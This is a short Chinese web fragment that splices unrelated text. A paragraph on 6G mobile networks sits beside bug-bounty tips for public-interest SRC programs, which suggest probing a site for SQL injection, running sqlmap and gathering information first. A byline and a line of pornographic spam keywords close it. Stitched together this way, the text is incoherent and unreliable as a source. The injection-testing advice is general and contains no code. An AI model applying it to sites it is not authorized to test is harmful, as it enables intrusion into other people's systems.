    6G移動通信網絡將通信的領域邊界從物理世界進一步拓展至數字世界,通過在物理世界和數字世界之間提供即時、高效和智能的超連接來重塑世界,這一趨勢將開啟移動通信的新篇章。6G網絡超大規模的全局性連接將給網絡的運營和管理帶來巨大挑戰,亟待革命性的理論和技術創新。
    對于公益SRC來說,想要沖榜就不能在一個站上浪費大量時間,公益SRC對洞的質量要求不高,所以只要 花時間,還是可以上榜的。在對某站點進行測試SQL注入的時候,先通過一些方式測試是否可能存在漏洞,然后可以直接sqlmap一把梭,也可以手工測試,然后提交漏洞。任意注冊算是低危漏洞,不過也有兩分。不管是進行SRC漏洞挖掘,還是做項目進行滲透測試,又或者是打紅藍對抗,一定要做好信息收集。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类